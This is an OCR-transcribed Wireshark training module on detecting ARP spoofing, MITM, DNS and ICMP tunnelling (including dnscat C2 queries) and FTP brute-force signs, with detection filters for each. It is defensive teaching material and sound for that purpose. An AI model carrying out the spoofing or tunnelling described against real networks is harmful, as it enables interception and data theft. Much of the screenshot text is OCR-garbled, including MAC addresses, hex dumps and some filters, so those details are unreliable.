+| [Duplicate IP address derected for 192.168.1.1 (88:8c:29:e2:18:b4) - also in use by 58:78:b3:f3:cd:f4 (frame 2)]
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Here, knowing the network architecture and inspecting the traffic for a specific time frame can help

detect the anomaly. As an analyst, you should take notes of your findings before going further. This will

help you be organised and make it

easier to correlate the further findings.

Look at the given picture; there is a conflict; the MAC address that ends with "b4" crafted an ARP
request with the "192.168.1.25" IP address, then claimed to have the "192.168.1.1" IP address.

Notes

Detection Notes

Findings

Possible IP address match.

1 IP address announced from a

MAC address.

* MAC:
00:0c:29:€2:18:b4
*IP: 192.168.1.25

* MACI:
2 MAC addresses claimed the same IP
Possible ARP spoofing 50:78:b3:13:cd:f4
address (192.168.1.1). The "192.168.1.1"
attempt. . ) * MAC 2:
IP address is a possible gateway address.
00:0c:29:€2:18:b4
. . | The MAC address that ends with '"b4"| « MAC:
Possible ARP flooding . .
claims to have a different/new IP address. 00:0c:29:¢2:18:b4
attempt.

*IP: 192.168.1.1

Let's keep inspecting the traffic to spot any other anomalies. Note that the case is split into multiple

capture files to make the investigation easier.

File Edit View Go Capture Analyze 3Statistics Telephony Wireless Tools
dm a7 @ X €

=

Help

1 6. 080088068
2 8.091858831
3 8.01849B252
4 ©_02087683%
5 0.031275021
6 8. 641848453
7 8.852746298
B ©9.063388601
9 0.6873965794
16 8.684481792
11 6.895883648
12 8.185417559
13 ©.115638938
14 ©.125920898
15 8.136708415
16 ©.147294383
17 8.157926474
18 B.168416858
19 ©.178936116
20 6.189453650

Destination
% 1

Protocol

ARP
ARF
ARP
ARP
ARP
ARFP
ARP
ARP
ARE
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARF
ARP
ARP

Infa

192,

who
Who
Who
Whao
who
wWho
who
Who
Who
who
who
who
Who
who
who
who
Who
Who

168.

has
has
has
has
has
has
has
has
has
has
has
has
has
has
has
has
has
has

b B

192.
182.
192.
192.
182,
182,
152,
192,
152,

192

ig2:
192,
192.
192.
182,
192,
g3
182,

168.1.17 Tell 192.168.1.25

is at 6@:78:b3:T3:ed:f4

168.1.377 Tell 192,168.1.2
168.1.1587 Tell 192.168.1.
168,1,2127 Tell 192.168.1.
168.1.1767 Tell 192.168.1.
168.1. 737 Tell 192.168.1.2
168.1,2167 Tell 192.168.1.
168.1.1817 Tell 192.168.1.
168.1.2177 Tell 192.188.1.
168.1.1737 Tell 192.168.1.
.168.1.1367 Tell 192.168.1.
168.1.1327 Tell 192.168.1.
168.1.1307 Tell 192.168.1.
168.1.2547 Tell 192.168.1.
168.1.2327 Tell 192.168.1.
168.1.1627 Tell 192 168.1.
168.1.1897 Tell 192.168.1.
168.1.2537 Tell 192.168.1.
168.1.1697 Tell 192.168.1.

5

25
25
25
5

25
25
25
25
25
25
25
25
25
25
25
25
25

At this point, it is evident that there is an anomaly. A security analyst cannot ignore a flood of ARP

requests. This could be malicious activity, scan or network problems. There is a new anomaly; the MAC
address that ends with "b4" crafted multiple ARP requests with the "192.168.1.25" IP address. Let's
focus on the source of this anomaly and extend the taken notes.
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range of IP addresses.

Notes Detection Notes Findings
. * MAC:
Possible IP address match.| 1 IP address announced from a
00:0c:29:€2:18:b4 * IP:
MAC address.
192.168.1.25
2 MAC addresses claimed the same IP | * MACI:
Possible ARP spoofing| address (192.168.1.1).The " 192.168.1.1" | 50:78:b3:f3:cd:f4 -
attempt. IP address is a possible gateway address. MAC 2:
00:0c:29:€2:18:b4
. The MAC address that ends with "b4"| «
Possible ARP spoofing | .
claims to have a different/new IP address. | MAC: 00:0¢:29:e2:18:b4
attempt.
« IP: 192.168.1.1
. . The MAC address that ends with "b4" | « MAC:
Possible ARP flooding . .
ttempt crafted multiple ARP requests against a | 00:0c:29:e2:18:b4 « IP:
attempt.

192.168.1.xxx

Up to this point, it is evident that the MAC address that ends with "b4" owns the "192.168.1.25" IP
address and crafted suspicious ARP requests against a range of IP addresses. It also claimed to have the
possible gateway address as well.

Let's focus on other protocols and spot the reflection of this anomaly in the following sections of the

time frame.

File Edit View Qo Capture Analyze Statistics Telephony wireless Tools Help
AE @ X @
B[ Apoly a disolay filter . <Ctrl

Mo Time
1 @.000869606

= =

Protocol info
44,228.249.3 HTTP GET /login.php HTTP/1.1

192.168.1.12

2 9.229915623 192.168.1.12 HTTP Continuation

3 8.249753947 d44.228.249.3 HTTP GET /style.css HTTP/1.1

4 9.251509288 44.228.249.3 HTTP GET /images/logo.gif HTTP/1.1
5 6.4729133601 192,168.1.12 HTTP Continuation

There is HTTP traffic, and everything looks normal at the IP level, so there is no linked information with
our previous findings. Let's add the MAC addresses as columns in the packet list pane to reveal the

communication behind the IP addresses.

arp-http-mitm.pcapng
File Edit Wiew Go Capture Analyze Statistics Telephony Wireless Tools Help

4w

®

‘ Applya displ I':'.-I'--!
No. Time
1 6.8PBEREOE

® B = = "

source
192.168.1.12

Source
Bp:gc:20:98:c7 a8

Destination
44 ,228.249.3

Destination
B9:0c:29:82:18: b4

Protocol

Info
GET /login.php HTTF/1.1

28.229916623 |[44.228.249.3 50:78:b3:T3:cd: T4 192.168.1.12 88:0c:29:e2:18: b4} HTTP Continuation

3 0.249753947 |192.168.1.12 90:8e:29:98:c7:a8 44.228.249.3 00:6c:29:22:18:b4] HTTP GET /style.css HTTP/1.1

4 p.251809280 192.168.1.12 80:B8c:29:98;c7:ak 44.228.249.3 88:8c:29:e2:18 b4| HTTP GET /images/logo.gif HTTP/1.1
5 0.472913301 A44.228.249.3 50:78:b3: 3! cd: 4 162.166.1.12 00:8c:29:e2:18:b4] HTTP Continuation
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One more anomaly! The MAC address that ends with "b4" is the destination of all HTTP packets! It is
evident that there is a MITM attack, and the attacker is the host with the MAC address that ends with
"b4". All traffic linked to "192.168.1.12" IP addresses is forwarded to the malicious host. Let's

summarise the findings before concluding the investigation.

Detection Notes Findings

IP to MAC matches. 3 IP to MAC address matches.

Attacker The attacker created noise with ARP packets.
Router/gateway Gateway address.
Victim The attacker sniffed all traffic of the victim.

Detecting these bits and pieces of information in a big capture file is challenging. However, in real-life
cases, you will not have "tailored data" ready for investigation. Therefore you need to have the analyst
mindset, knowledge and

tool skills to filter and detect the anomalies.

Identifying Hosts: DHCP, NetBIOS and Kerberos

Identifying Hosts

¢ When investigating a compromise or malware infection activity, a security analyst should know
how to identify the hosts on the network apart from IP to MAC address match.

¢ One of the best methods is identifying the hosts and users on the network to decide the
investigation's starting point and list the hosts and users associated with the malicious
traffic/activity.

¢ Usually, enterprise networks use a predefined pattern to name users and hosts.

While this makes knowing and following the inventory easier, it has good and bad sides. The good side
is that it will be easy to identify a user or host by looking at the name. The bad side is that it will be easy
to clone that pattern and live in the enterprise network for adversaries. There are multiple solutions to
avoid these kinds of activities, but for a security analyst, it is still essential to have host and

user identification skills.

Protocols that can be used in Host and User identification:

¢ Dynamic Host Configuration Protocol (DHCP) traffic
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¢ NetBIOS (NBNS) traffic

o Kerberos traffic

DHCP

Dynamic Host Configuration Protocol (DHCP), is the technology responsible for managing automatic

IP address and required communication parameters assignment.

DHCP investigation in a nutshell:

Notes

Wireshark Filter

Global search.

® dhep OT bootp

Filtering the proper DHCP packet options is vital to finding
an event of interest. « "DHCP

Request" packets contain the hostname information ¢
"DHCP ACK" packets represent the accepted requests °
"DHCP NAK" packets represent denied requests Due to
the nature of the protocol, only "Option 53" ( request type)
has predefined static values. You should filter the packet
type first, and then you can filter the rest of the options by
"applying as column" or use the advanced filters like
"contains" and

"matches".

® Request: dhep.option.dhcp == 3
* ACK: dhep.option.dhcp == 5 ® NAK:

dhcp.option.dhep == 6

"DHCP Request" options for grabbing the low-
hanging fruits: » Option 12: Hostname. * Option

50: Requested IP address. « Option 51: Requested IP
lease time. * Option 61: Client's MAC address.

® dhep.option.hostname contains "keyword"

"DHCP ACK" options for grabbing the low-hanging fruits: *
Option 15: Domain name. * Option
51: Assigned IP lease time.

¢ dhcep.option.domain_name contains "keyword"

"DHCP NAK" options for grabbing the low-hanging fruits:

* Option 56: Message (rejection details/reason).

As the message could be unique
according to the case/situation, It is
suggested to read the message
instead of filtering it.

Thus, the analyst could create a
more reliable hypothesis/result by
understanding the event

circumstances.
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File Edit Yiew Co Capture Analyze Statistics Telephony Wireless Tools Help
AdE 26 ® © - = iE
A [dhep =K
fio. Time Source Destination Protocol info —_—
61 1.965422 16.26.08.46 255.255.255.255 DHCP DHCP Discover - Transaction ID Bx7e8eS5ich
499 16,685351 192,168.0.52 2595.255.255.255 DHCP DHCP Inform - Transaction ID @xadeddoaf
500 16.086203 192,168,0.241 255.255.255.255 DHCP DHCP ACK - Transaction ID Gxadeddoaf
580 16.688919 162.168.6.52 255.255.255.255 DHCP DHCP Inform - Transaction ID @Gxadedd4eaf
581 15.690184 192.168.0.241 255.265.256.255 DHCP DHCP ALK - Transaction ID GxadeSspaf
970 34,284743 10.26.0.48 255.255.255,255 DHCP DHCP Discover - Transaction ID @x7f8eS51cé
1279 46.617071 192.168.8.57 255.255.255.255 DHCP DHCP Inform - Transaction ID Bx788574f5
1331 49.623915 192.168.9.57 295.255.255.255 DHCP DHCP Infarm - Transaction ID Gx78857475
1342 56,104915 192.168.9.17 255.255.255.255 DHCP DHCP Inform - Transaction ID exladfassa
1405 53.496555 192.168.0.17 255.265.256.255 DHCP DHCP Inform - Transaction ID Gxladfdada .
» Frame 2245: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on ¥ ff ff ff ff ff ff 34 64 a% 26 Te B3 65 00 45 08
+ Ethernet II, Src: 34:64:a9:26:7e:63, Dst: TFR:FF:Fr:FI.IF;TF i 91 48 78 b8 20 0O BOG 11 ©9 3a cO a8 €0 b ff ff
+ Internet Protocol Version 4, Src: 192.168.8.11, Dst: 255.255.255.255 Tf ff 60 44 00 43 01 34 ae da 01 81 66 60 65 3¢
» User Datagram Protocol, Src Port: 68, Dst Port: 67 5d 68 08 09 00 00 cO aE 00 6b 90 0O 60 69 80 09
- Dynamic Haest Configuration Protocol (Inform) 60 68 66 06 69 80 34 64 a0 26 Te 63 80 60 80 00
Heizage Lypr: Boot Reduest (1) 0 90 00 6O 60 60 00 60 08 00 0O 0O BO 8O 00 6O 00
Hardware type: Ethernet (8x81) 06 00 0 00 00 00 60 00 ©9 0O 00 86 00 60 00 00
Hardware address length: 6 B8 60 6P OB G0 0P ©9 98 00 PG 0O 8O 60 00 DO 09
e 0 T e )
Transaction ID: 6x653c5des 90 06 ©0 DO GO O €0 08 ©0 0O 00 06 80 60 69 00
Seconds elapsed: 0 1o 00 66 09 0B 60 00 60 68 66 00 00 86 OO 60 60 60
+ Bootp flags: 8x8000 (Unicast) 00 90 OO0 00 0D 00 60 OC 00 00 B0 90 60 09 80 00
5;:[:":c;L:??r?;ssm;fzéiﬁﬂéﬂél; o 4do 98 90 60 08 90 60 00 06 €0 60 00 00 60 08 60 00
: 0.0,0. 4 99 90 9B 08 80 00 60 8B ©6 0O DO 9O BO B9 B0 8O
Next server IP address: ©.9.9.8 ot 68 68 B0 B0 PO 60 B0 B8 00 EG BE BE BB 88 8O 68
Relay agent IP address: 6.9.8.8 B0 06 60 98 80 00 00 BB 00 00 OO DO B0 90 0O 00
Client MAC address: 34:64:a9:26:7e:63 066 00 60 00 00 60 63 82 53 63 35 01 @3 3d 67 01
Client hardware address padding: ©09060000000000000000 9120 34 64 a9 26 Te 63 Oc Bc
Server host name not given =138 ; 3c B8 4d 53
Boot file name not given : 91 6f 63 86 2c 2e 2f 1f 21 79 f9 2b fc fF 60 06
Magic cookie: DHCP 80 60 60 00 00 68
» Option: (53) DHCP Message Type (Inform)
61) Client identifier
= Option: (12) Host Name
Length: 12
Host Mame: 1ibrarian-pe
v OpTIon: 100) vento dentifier
» Option: (55) Parameter Request List
» Option: (255} End
Padding: 6806900080000868
‘ e "
@ 7 Option 12: Host Name (dhcp.option.hostname), 12 byte(s) Packets: 180000 - Displayed: 681 (0.4%) Profile: Default

NetBIOS (NBNS) Analysis

NetBIOS or Network Basic Input/Output System is the technology responsible for allowing applications

on different hosts to communicate with each other.

NBNS investigation in a nutshell:

Notes Wireshark Filter

Global search. * nbns

"NBNS" options for grabbing the low-hanging fruits: *

Queries: Query details. * Query details could .k:;[zf:::l‘”m R
contain "name, Time to live (TTL) and IP address details"
NetBIOS registration requests nbns.flags.opcode ==
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Name : CONV XEROX<80> [Workstation/Redirector}
Type: NB (32)
Class: IN (1)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
d R ‘@ X @ == i
1 |nbns =K
M. Time source Destination Protocol  |info |
129 4.652481 192.168.0.22 192.168.0.255 NBNS Mame query NB CONV_XEROX=00>
154 4.816612 192.168.0.22 192.168.6.255 NEBNS Name query NB CONV_XEROX<88=
581816 B, B8.255 fquery K8 CONV_XEROX«B8>
189 6.522330 192.168.98.38 192,168.0.255 NEBNS Name query NB CONVEYANCING<BO>
193 7.27935T7 192.168.0.38 152.168.0.255 NBNS Mame query NB CONVEYANCING=8@>
195 7.333952 192.168.8.13 192.168.6.255 NBNS Name query NB ISATAP<@0>
299 7.973224 192.168.6.240 192.168,.8.255 NENS Mame guery NB LIVAL-SVRE1<B@>
210 B.020294 192.168.0.38 192.168.0.255 NBNS Name query N8B CONVEYANCING<DO>
213 B.689624 192.168.0.13 192.168.0,255 NEBNS Name query NB ISATAP<@0>
223 B.286614 192.168.08.240 192.168.0.2585 NENS Name guery NB LIVAL-SVRO1<28>
» Frame 167: 52 bytes on wire (736 bits), 92 bytes captured (738 bits) on inter ff ff ff ff ff ff 18 a9 85 28 an de B8 B0 45 6O
+ Ethernet II, Src: 18:a9:85:28:aa:de, Dst: ffiff:ff:iff:fr:ff 06 4e 56 cd 96 00 80 11 61 6c cO ad 86 16 cO ad NV
» Internet Protocol Version 4, Src: 192.168.8.22, Dst: 192.168.08.255 60 ff 60 80 B0 B9 60 3a 1e 94 cc 0 61 10 66 81
* User Datagram Protocel, Src Port: 137, Dst Port: 137 8038 9@ 60 60 60 08 45 af 46 47 26
= NetBIOS Name Service Ge4n 48 49 45 48 46 43 45 50 46 49 43 41 43 41 43 FIE
Transaction 1D; @xccf@ 8650 a1 89 20 98 91 ACAL
+ Flags: 6x0118, Opcode: Name query, Recursion desired, Broadcast
Questions: 1
Answer RRs: 6
Authority RRs: @
Additional RRs: @
= Queries
= CONV_XEROX<BB>: type NB, class IN

Kerberos Analysis

+ Kerberos is the default authentication service for Microsoft Windows domains.

e It is responsible for authenticating service requests between two or more computers over the

untrusted network. The ultimate aim is to prove identity securely.

Kerberos investigation in a nutshell:

Notes

Wireshark Filter

Global search.

® Kkerberos

User account search: « CNameString: The username. Note: Some packets
could provide hostname information in this field. To avoid this confusion,
filter the "$" value. The values end with "$" are hostnames, and the ones

without it are user names.

.
kerberos.CNameString
contains "keyword" o

kerberos.CNameString and !
(kerberos.CNameString contains

"$")

"Kerberos" options for grabbing the low-hanging fruits: *

pvno: Protocol version. * realm: Domain name for the generated ticket. ¢
sname: Service and domain name for the generated ticket.

* addresses: Client IP address and NetBIOS name. Note: the

"addresses" information is only available in request packets.

® kerberos.pvno==5
® kerberos.realm contains
".org" ® kerberos.SNameString

== "krbtg"
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Eile Edit Yiew Go Capture Analyze Statistics Telephony Wireless Jools Help
d B " ® il == T
A kerberos ]
Mo Time Source Destination Protocol Info -~
29 73.732765 19.1.12.2 18.5.3.1 KRES TGS-REQ
30 73.732769 18.5.3.1 18.1.12.2 KRES TGS-REP
31 14.0838758 19.1.12.2 18.5.3.1 KRBES TGS-REQ
32 74.030765 19.5.3.1 10.1.12.2 KRES TGS-REP
58 139683423.72. 10.5.12.5 18,5.15.5 HTTP GET /lxgdoc/ HTTR/1.1
65 13913729.78. 10.5,12.5 10.5.3.1 KRES AS-REQ
66 13913729.85. 18.5.3.1 18.5.12.5 KRBS AS-REP
67 13913729.86.. 10.5.12.5 18.5.3.1 KRES TGS-REQ
B8 13913728.87.. 10.5.3.1 18.5.12.5 KRES TGS -REP
76 13913729.88.. 10.5,12.5 18.5.15.5 HTTP GET /lxgdoc/ HTTP/1.1 —
» Frame £8: 1236 bytes on wire (9888 bitrs), 1236 bytes captured (9888 bits) 6858 62 01 91 al 06 30 04 1b ©2 [EHES as 82 03 7d 61 "o
+ Ethernet II, Src: B8:83:Tf:ab:ab:0c, Dst: B8:83:ff:aviab:fc #2 B3 79 30 B2 03 75 al 03 82 81 @5 al 6c 1b fa sy
» Internet Protocol Version 4, Sre: 19.5.3.1, Dst: 19.5.12.5 44 45 de 59 44 43 2e 43 Af 4d a2 21 30 1f a6 83  DEM
+ User Datagram Protocol, Src Port: B8, Dst Port: 2565 9082 01 B2 al 16 30 16 1b 64 48 54 54 56 1b Ge 66 .-
- Kerberos 63 34 2e 64 65 6e 79 44 43 2e 63 6F 6d a3 B2 03 cd.
- tgs-rep 3b 30 82 ©3 37 a0 03 €2 61 17 al 03 62 01 B4 a2 H-
ene: o % 35 7104 9791 13 43 fo 38 77 co 75 %6 of 95 3 ...
:ig;i%?eﬁ:;gggéér” (12) 6d ail cb 3b Ba 97 1a 7d 16 7e a8 fb 8c 6c €9 cd .-
e fpeooEmolkRREansl
name-Lype: KRES-NT-PRINCIPAL: (1) ac 90 £7 ¢9 07 e4 c5 1a dc fb ed Bd fa 5 f3d6 - --
- Cnane-string: 1 iten 14 a9 43 27 d6 Ge eb 12 83 3 ea 66 14 e7 14 12 5f  -C'
CNamestring: ul 36 82 b7 75 65 51 ca 76 e8 53 56 55 28 e ff 2c  6b-
» ticket b6 24 61 87 bd ed ad #9 91 d5 fe 70 79 ab 61 62 +§-
» enc-part 99 2a b3 b8 d7 16 23 36 Be cd b4 55 9b af b6 a5  -*-
49 fa Bc 54 bl 1a 5F 3b 33 36 a6 63 2¢ 47 98 1d  I--

Tunneling Traffic: DNS and ICMP

Tunnelling Traffic: ICMP and DNS

¢ Traffic tunnelling is (also known as "port forwarding") transferring the data/resources in a secure

method to network segments and zones.

e It can be used for "internet to private networks" and "private networks to internet"

flow/direction.

¢ There is an encapsulation process to hide the data, so the transferred data appear natural for the

case, but it contains private data packets and transfers them to the final destination securely.

Tunnelling provides anonymity and traffic security. Therefore it is highly used by enterprise networks.
However, as it gives a significant level of data encryption, attackers use tunnelling to bypass security
perimeters using the standard and trusted protocols used in everyday traffic like ICMP and DNS.

Therefore, for a security analyst, it is crucial to have the ability to spot ICMP and DNS anomalies.

ICMP Analysis

¢ Internet Control Message Protocol (ICMP) is designed for diagnosing and reporting network

communication issues. It is highly used in error reporting and testing.

« As itis a trusted network layer protocol, sometimes it is used for denial of service (DoS) attacks;

also, adversaries use it in data exfiltration and C2
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tunnelling activities.

ICMP analysis in a nutshell:

¢ Usually, ICMP tunnelling attacks are anomalies appearing/starting after a malware execution or

vulnerability exploitation.

¢ As the ICMP packets can transfer an additional data payload, adversaries use this section to

exfiltrate data and establish a C2 connection.

¢ It could be a TCP, HTTP or SSH data. As the ICMP protocols provide a great opportunity to carry

extra data, it also has disadvantages.

o Most enterprise networks block custom packets or require administrator privileges to create
custom ICMP packets.

A large volume of ICMP traffic or anomalous packet sizes are indicators of ICMP tunnelling. Still, the
adversaries could create custom packets that match the

regular ICMP packet size (64 bytes), so it is still cumbersome to detect these tunnelling activities.
However, a security analyst should know the normal and the abnormal to spot the possible anomaly and

escalate it for further analysis.

Notes Wireshark filters

Global search * icmp

"ICMP" options for grabbing the low-hanging fruits: « Packet length. °

® data.len > 64 and

ICMP destination addresses. * Encapsulated protocol signs in ICMP

icmp
payload.

File Edit wWiew Go Capture Analyze Statistics Telephony wWireless Tools Help

dm 2@ RE == L1

[ [datalen = 64 sndicmp B -

Mo, Time __ Source . Destination Protocol tength ~infe o .
954 1122.214623 192,168.154.131 192.168.154.132 ICMP 1828 Echo (ping) request| id=6xfeff, seg=e/8, ttl
955 1122.214781 192,168.154.132 192.168.154.131 IcHp 1828 Echo (ping) reply id=exfeff, seg=e/e, ttl
9566 1122.314715 192.168.154.131 192.168.154.132 ICMP 1828 Echo (ping) request | id=exfeff, seg=8/9, ttl
957 1122.314982 192,168.154.132 192.168.154.131 ICcMP 1828 Echo (ping) reply id=@xfeff, seg=e/8, ttl
958 1122.414619 192.188.154.131 192.168.154.132 ICHP 1828 Echo (ping) request | id=exfeff, seg=0/8, trl
050 1122 414767 192,168.154.132 192,168,154,131 ICHP 1828 Echo (ping) reply | id=6xfeff, seq=6/@, ttl
960 1122.5347685 192,.168.154.131 192.168.154.132 ICMP 1828 Echo (ping) request | id=@xfeff, seg=e/8, ttl
961 1122.514842 192,168.154.132 192.168.154.131 ICHP 1828 Echo (ping) reply id=gxfeff, seq=08/8, tt‘

242 431.691778 s i . -168.154.332 1833 Echo (ping) request ld=exfeff, seq=e/e,

+ Frame 242: 1875 bytes on wire (8608 bits), 1875 bytes captured 5026 9a 84 08 [[E 08 @0 fe ff 00 00 45 60 64 03 96 BO I E
+ Ethernet II, Src: €8:8c:29:cf:Bcicl, Dst: 66:6c:29:cb:e3 82 40 90 49 11 20 24 6a 5T 0101 Ga 5T Ol 6200 35 @@ § L &
+ Internet Protocol Version 4, Src: 192.168.154.131, Dst: 192,161 O d8 b5 @83 f5 64 78 10 d1 9e 20 78 da 25 52 4d 8F dx * KEM
- Internet Control Message Pratocol % db 54 14 7d 49 13 a6 35 32 94 91 40 be Tb 1d 36 T-}1--52 @8{6
Type: B (Echo (ping) request) 60 d3 49 93 f8 39 89 e3 64 3a d5 38 13 67 f2 3d 99 I 9 .d:8g=
code: B 1 c4 f9 94 92 ea da 2f hg ;3 c7 76 fe 95 33 71 d4 / v 11aq
. . [ 65 48 15 bf 0@ 89 2e & 0 84 Ba 16 5d 20 c1 12 H X -
‘[“c‘:i::::m gf:?::.i;:ﬁ;re“’ ABIRENRN 96 ec 59 f2 13 ba 60 B1 58 20 55 c2 23 ae 74 75 ¥ X U-&tu
Tdentifier (BE): 65279 (Oxfeff) 37 f7 9e Tb ce b3 17 88 fb 40 86 09 bd 7f 82 ci1 T--f ]
SR : Z : 9 47 b7 a? b7 ©f 41 2¢ ca 78 €2 75 €% 75 T2 de G A, X-u-u
Tdentifier (LE): 65534 (exfffe) x
2 i b7 de 82 bc 92 41 2 c7 7f df 9d 83 f3 7 7e 79 4 ~¥
Sequence nunber (BE): @ (8x8868) i £7 eb BF 20 16 65 fc 8f 33 f0 d9 df 6f Se 8c 3F .. Fio D
Sequence number (LE): @ (8x8880) ! f o7 fo eb 2f 1f c6 7e 7f 58 86 26 16 bb cf Do Jiom W
e L afo f2 d5 73 46 be fb b9 8f 35 6c 6d bl Se 86 3 10 5@ Slm A
d2 cB 41 19 db d5 54 1b 1le 7 5c 42 17 dé ee B9 AT \B
Data: 45800489006p4000481126240a5701010a5F01628835d8bS. Sc fB ee 1a 06 04 b 96 ©e b9 c7? 2c T3 €0 ae 72 N\ & r
[Length: 1B33] 62 de 2a d5 4a f9 dc 29 5S4 cc e 09 84 45 58 3  bN*.J- ) T EX
73 cB 73 28 07 51 al Bc SO b9 20 c@ 14 27 VO Ic s-8(Q-- P ‘p
3c 9e ca 2d 25 %9a ab aa 14 97 ff ef Ze Ga 6Ff cO < -% Y -]
fb 2c 53 Bb 96 cb d® 77 5d 6a 9f de 86 73 la bc + 3 w ] s
3d 8c 37 63 19 ¢5 bd bd b7 8d 3 99 97 1f 83 13 = 7¢
GG 19 A4 €3 25 d6 GR 19 76 30 Af 96 63 48 6a ad L Y
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DNS Analysis

¢ Domain Name System (DNS) is designed to translate/convert IP domain addresses to IP

addresses.

« It is also known as a phonebook of the internet. As it is the essential part of web services, it is
commonly used and trusted, and therefore often ignored. Due to that, adversaries use it in data

exfiltration and C2 activities.

DNS analysis in a nutshell:

¢ Similar to ICMP tunnels, DNS attacks are anomalies appearing/starting after a malware execution

or vulnerability exploitation.

¢ Adversary creates (or already has) a domain address and configures it as a C2 channel. The

malware or the commands executed after exploitation sends DNS queries to the C2 server.

+ However, these queries are longer than default DNS queries and crafted

for subdomain addresses. Unfortunately. these subdomain addresses are not actual addresses; they

are encoded commands as shown below:
"encoded-commands.maliciousdomain.com"

¢ When this query is routed to the C2 server, the server sends the actual malicious commands to the

host.

¢ As the DNS queries are a natural part of the networking activity, these packets have the chance of
not being detected by network perimeters. A security analyst should know how to investigate the

DNS packet lengths and target addresses to spot these anomalies.

Notes Wireshark
Filter

Global search * dns

"DNS" options for grabbing the low-hanging fruits: « Query length. ¢

Anomalous and non-regular names in DNS addresses. * - O

Long DNS addresses with encoded subdomain addresses. * Known | , dns.qry.name.len

patterns like dnscat and dns2tcp. « Statistical analysis like the anomalous | >15and imdns

volume of DNS requests for a particular target.

!mdns: Disable local link device queries.
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4dm 3@ X @ == it

M |dns contzins dnscat 1]

o, Time Source Destination Protocol info

—+ 33851 52367758.08. 192.168.363.1 192.1868.253.128 Standard guery Bx535h MX dnscat . 3bB0g15aatd5c2anzaTr23098.,
33852 52387750.608. 192,168.253.128 192.168.253.1 DS Standard guery response Bx536b WX dnscat.3ba0elSasfatczas,.
33055 62387751.08.. 192,168.253 .1 192.168.263.128 DS Btandard guery Bx34082 TXT dnscat.473c@1i5aafbE8506dceesfin..
33856-52387751.08. 192 . 168.253.128 192.168.253.1 DR Standard guery response Ax3482 TAT dnscat.d73ceiSaalfbssss..
33861 52387752,00.. 192 188.253.1 192.168.253.128 DHE Standard guery BxGS8bc CHAME dnscat.2cdddibSaafaZeccdnSbich..
33062 5234775209 192 168.253_128 192.188.253.1 DKS Standard guery response BxG3be CNAME dnscat. ZeddElSaataze .
33065 52387753.00.. 192,168.253,1 192.168.253.128 DHS Standard guery 0x2102 TXT dnscat.19TafiSaaflb2d742d0bb50E..
33866 52387753.10. 192 .168.253.128 192.168.253.1 BNS standard query response Bx21@2 TXT dnscat.isfaeiSaafib2d7..
33068 52387754.18.. 192 ,168.253.1 192.168.253.128 DRE Standard query B8x39b2 CNAME dnscat.3c@edilSaaf7eBdosBda4fa.
33976 52387754 .10 192.158.283.128 192.1868 2531 ONS Standard guery responce Bx39b3 CNAME discat.3ceeslSaalTed .
33073 S2387755.141., 192.168.253.1 102.168.253.128 DNS Standard guery ©xS59c3 MX dnscat.BfeefiSaaffecBTcchid73e048.
33874 52387755.11. 192.168.253.128 192, 168.253.1 DNS Standard gquery respopse Bx59c3 MY dnscat.68eefiSaaffeesio.
33077 52387756.11..192,168.253.1 192.163.253.128 DKB Standard guery 9xG374 CNAME dnscat. 4cfediSaaféa2499bBebid.

| AAATA SPARTTRA 13 197 AR 2R3 17R 192 TRA 7R3 1 s Standard puery reSnONSe AXAIFA (MANE dnsearT 4ffeA1RARTAAD

v Frama 33851; 181 bytes on wire (B8S8 bits), 101 bytes captured (81 ©ur 86 Bc 20 o6 4d 4a 0D 50 56 cb ©G 98 08 00 45 OO ML P Y E

v Ethernet II, Src: @0:50:50.cB:00:658, Dst: BAIBC;29:e0.4d:4a 8@ 57 14 bf G0 06 80 11 aa 63 cG aB Td 01 cé ab W

v Internet Protocol Version 4, Src: 192.168.253.1, Dst: 192.168,25 fd B8 T e BB 3% B8O 43 77 4e 53.6b 01 60 86 81 8.C whSkieo

+ User Datagram Protecol, Src Port: 65518, Dst Part: 53 G933 ©6 B8 65 60 0 26 Go 93 63 B1 74 22 33 GONNNERSEER

- Domain Name System (guery) oodl EIEREENECEE 34 35 63 32 61 30 37 3cQMESGH1Saar 45078029
Transaction T0: 6x936b GLLT W=7 37 32 33 30 3@ 62 36 38 54 30 65 61 33773068868 basnoeas)

v Flags: Ox@109 Standard query oord ggoe@eredex 000 F--

questions: 1

Answer RRs: @
Authority RRs: @
fd BRES:

2

= Queries
- dnscat.3bB80615aaf45¢2aB2977230880b68dBea3: type MX, class IN
Name: dnscat . 3hea61%afd5c2aB297 7230080068003

[Bame Length: 41]

[Label Count: 2]

Type: MX (Mail eXchange) [15)
class: IN (Bx0861)

Response In: 33852

Cleartext Protocol Analysis: FTP

Cleartext Protocol Analysis

Investigating cleartext protocol traces sounds easy, but when the time comes to investigate a big

network trace for incident analysis and response, the game changes. Proper analysis is more than

following the stream and reading the cleartext data. For a security analyst, it is important to create

statistics and key results from the investigation process. As mentioned earlier at the beginning of the

Wireshark room series, the analyst should have the required network knowledge and tool skills to

accomplish this. Let's simulate a cleartext protocol investigation with Wireshark!

FTP Analysis

File Transfer Protocol (FTP) is designed to transfer files with ease, so it focuses on simplicity rather

than security. As a result of this, using this protocol in unsecured environments could create security

issues like:
« MITM attacks

¢ Credential stealing and unauthorised access » Phishing
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e Malware planting e  Data
exfiltration

FTP analysis in a nutshell:

Notes

Wireshark Filter

Global search

® fip

"FTP" options for grabbing the low-hanging fruits: ¢ x1x|
series: Information request responses. ¢ Xx2x series:
Connection messages. * X3x

series: Authentication messages. Note: "200"

means command successful.

"x1x" series options for grabbing the low-hanging fruits:
* 211: System status. « 212: Directory status.
* 213: File status

® ftp.response.code ==211

"x2x" series options for grabbing the low-hanging fruits:
» 220: Service ready. ¢ 227: Entering passive mode. °

228: Long passive mode. * 229: Extended passive mode.

® ftp.response.code ==227

"x3x" series options for grabbing the low-hanging
fruits: ¢ 230: User login. « 231: User logout. « 331:
Valid username. ¢ 430: Invalid username or password

* 530: No login, invalid password.

® ftp.response.code ==230

"FTP" commands for grabbing the low-hanging fruits: ¢

Bruteforce signal: List target username. « Password

spray signal: List targets

for a static password.

® ftp.request.command = "USER" °
USER: Usemame' * PASS: Password. * CWD: Current ftp.request.command == "PASS" ® ftp.request.arg
work directory. « LIST: List. == "password"
Advanced usages examples for grabbing low- hanging
. . . . . ® fitp.response.code == 530 ®
fruits: * Bruteforce signal: List failed login attempts. | .~~~ _ R
(ftp.response.code 530) and (ftp.response.arg containg

"username')

® (ftp.request.command == "PASS" )

(ftp.request.arg == "password")
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Fila Transfer Protocol (FTR)

